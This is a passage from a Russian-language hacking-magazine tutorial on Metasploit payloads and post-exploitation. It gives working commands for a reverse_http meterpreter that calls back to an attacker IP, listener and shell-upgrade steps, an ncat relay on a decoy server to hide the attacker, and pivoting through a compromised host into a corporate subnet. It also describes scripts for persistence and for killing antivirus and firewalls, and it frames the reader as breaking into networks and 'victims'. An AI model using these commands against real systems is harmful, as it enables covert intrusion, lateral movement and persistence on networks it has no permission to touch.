  • С пометкой «Inline» – это «целиковые» шеллкоды. Они большие, потому не всегда влезают в эксплойты;
  • «Stager» – нагрузки, разделенные на части. В сплоит попадает небольшой шеллкод, в основном для установки соединения, остальное подгружается при подключении;
  • «Ord» – «заточенные» нагрузки. Маленькие по размеру, но привязанные к статическим адресам в памяти системной DLL’ки;
  • «Bind» – открытие порта и ожидание соединения;
  • «Reverse» – бэкконнект-шелл;
  • «Findport» – происходит поиск сокета, через который работал эксплойт, далее шелл открывается через него. Поиск осуществляется по номеру порта;
  • «Findtag» – аналогично предыдущему, только определение сокета ведется за счет прослушки всех доступных в ожидании прихода 4-байтового тэга от хакера.;
  • «Exec, Download_exec, Up_exec» – шеллкод на запуск команды, скачку/закачку и запуск;
  • «VNC» – запускаем VNC-сервер у жертвы;
  • «dllinjection» – подгрузка DLL’ок в память процесса. Инжект DLL’ок есть двух видов;
  • «metsvc» – целиком загружает meterpreter жертве и прописывает его как сервис;
  • «PassiveX» – наш шелл выступает элементом ActiveX.
  • «NoNX» – шеллкоды с обходом механизма защиты памяти DEP;
  • «DNS» – те, что могут работать по именам хостов, а не по IP;
  • «HTTPS» – шелл, который общается по шифрованному HTTPS-протоколу (жаль, без поддержки прокси).

Немного остановлюсь на PassiveX, так как они очень хороши.
Суть заключается в том, что наш шелл прописывается как элемент ActiveX, а взаимодействие происходит через скрытую версию IE по HTTP-протоколу. Это на самом деле круто, особенно, если ты ломаешь какую-то корпоративную сетку, где все сидят за NAT’ом и с общим файрволом, пропускающим только HTTP-трафик с корпоративного прокси-сервера. В таком случае ни одна другая нагрузка не поможет, особенно если ты не знаешь настройки для прокси. А тут – все настройки для прокси и аутентификации на нем (если она есть) уже прописаны в IE.

Создадим нагрузочку и прослушку под нее (192.168.0.102:443):

msfpayload windows/meterpreter/reverse_http PXHOST=192.168.0.102 PXPORT=443 PXURI=/ X > reflmeter102.exe

msf> use exploit/multi/handler
msf> exploit -p windows/meterpreter/reverse_http -o PXHOST=192.168.0.102,PXPORT=443,PXURI=/

Причем, если раньше PassiveX работал только под IE6, то теперь все окей и с IE7/8.

Далее об обычных шеллах. Обычный шелл – это, конечно, хорошо, но если ты юзал meterpreter, то тебе захочется к нему вернуться.
И теперь у нас есть такая возможность. Предположим у нашей жертвы (192.168.0.101) уже повешен обычный бинд-шелл на 5678 порту.

Коннектимся к нему из MSF:

msf> use exploit/multi/handler
msf> exploit -p windows/shell_bind_tcp -o RHOST=192.168.0.101,RPORT=5678

Хотелось бы сказать, что следующей командой мы превращаем обычный шелл в meterpreter, да не судьба. MSF просто подгружает бэкконект meterpreter и, запустив его, создает еще одну сессию (создается еще одно соединение). Хотя это тоже не плохо. Но чтобы все работало, нам надо установить глобальные значения своего хоста (куда коннектиться реверсу), а потом уже «обновить» сессию (предположим, она у нас «1»):

msf> setg LHOST 192.168.0.102
msf> setg LPORT 6666
msf> sessions –u 1

В итоге избавляемся от кучи напрягов и ограничений обычного шелла.

Кстати, о meterpreter’e. Его уже давно пытаются перенести на другие платформы(linux, Macos), но пока как-то там не все гладко. Но, все-таки, есть хорошие новости: в каком-то виде meterpreter был перенесен на PHP! В «каком-то», потому что не все функции позволяет реализовать PHP, но основное уже доступно. Так что можно залить на заваленный сервак и побаловаться таким крутым шеллом.

Теперь поговорим о собственной «безопасности». Пока что большинство модулей MSF не поддерживают прокси, особенно это относится к боевым нагрузкам. Ведь мы же не хотим, чтобы нас вычислили:). Потому вспомним олдскульную фичу – портфорвардинг.

Предположим наш сервак с MSF, ожидающий бэкконнект шеллов, находится по адресу «192.168.0.103:5555». Тогда на подставном сервачке на 80 порту мы вешаем netcat:

ncat --sh-exec “ncat 192.168.0.103 5555” –l 80 --keep-open

А в payload’ах мы прописываем IP (или DNS) и порт подставного сервака.
Кстати, netcat поддерживает SSL, так что можно и зашифровать трафик, если сам шелл этого не позволяет.

Постэксплуатация

Да, теперь переходим к самому вкусному – постэкслуатации и meterpreter’у. Надеюсь, ты знаком с meterpreter’ом, потому как рассказывать, насколько он хорош (и следов после себя почти не оставляет, и работает в chroot’е) и функционален (встроенные хак-тулзы, модификация реестра и файловой системы, миграция по процессами и токенам, маршрутизация) у меня нет желания:).

Давай предположим, что мы получили доступ к одному из компов (192.168.146.129) в корпоративой сети и мы (192.168.0.102) хотим развить наш успех – просканить подсетку и поиметь еще что-нибудь.

Добавляем маршрут (подсетка, ее маска, сессия для маршрутизации) в msfconsol’е:

msf> route add 192.168.146.0 255.255.255.0 1

К сожалению, nmap не захотел пользоваться этим маршрутом – видимо, не такая глубокая интеграция пока что. Но обычными модулями, сплоитами и сканерами спокойно (то есть без каких-либо спецнастроек) можно пользоваться для развития атаки (см. рисунок) – всю маршуртизацию берет на себя MSF.

Так как у определенных хостов может быть ограничен доступ во внешнюю сеть (где находимся мы), то для связи с ними можно использовать портфорвардинг на уже уделанной жертве, благо, meterpreter это умеет:

meterpreter> portfwd add -l 8008 -p 2222 -r 192.168.0.101

Теперь прописываем в payload’ах сплоитов LHOST=192.168.146.129, LPORT=8008, и все будет тип-топ.

Meterpreter имеет чудесную возможность – автоматизация действий посредством руби-скриптов. Это реально круто. Посмотреть существующие скрипты можно в msf3\scripts\meterpreter, во время юзания – пишем run и дважды Tab (для тех, кто не в теме:). Запускать скрипты можно либо ручками через команду run, либо указав переменную AutoRunScript или InitialAutoRunScript при конфиге нагрузке/сервера. Вторая переменная – выполняется до запуска шелла, первая – после.

Скриптов входящих в поставку уже много, из самого стандартного:

  • winenum – быстренько собирается вся инфа о системе от сетевых настроек до установленного ПО и хешей;
  • persistence, metsvc – прописывает meterpreter на автозапуск в реестре или как сервис;
  • getcountermeasure – отключает файер, может убивать процессы разнообразных антивирусов и файрволов.

Вместо заключения

В статье я постарался описать что-то новое (во всяком случае, для русскоязычных источников) и при этом обо всех стадиях взлома, так что, надеюсь, она будет тебе полезна. К тому же, родилось пара гениальных идей, которые осталось лишь реализовать, да нашлось пару гадких багов в MFS, которые, я надеюсь, будут устранены к выходу номера. В общем, творить – это чудесно!

Несколько подсказок:

  • В msfconsol’е отлично работает автодополнение посредством нажатия Tab, к тому же все команды поддерживают хелп параметром «-h».
  • Если хочешь приостановить выполнение команды – Ctrl+C, отправить в бэкграунд – Ctrl+Z.
  • Копирование текста в cygwin’е делается с помощью левой/правой кнопки мыши, вставка – Shift+Insert.
  • Под виндой доступ к интерфейсам msfcli, msfpayload и т.д. осуществляется через консоль cygwin. Но желательно хорошенько потестить, так как не все функции могут работать адекватно.

Рекомендуем почитать

Наверх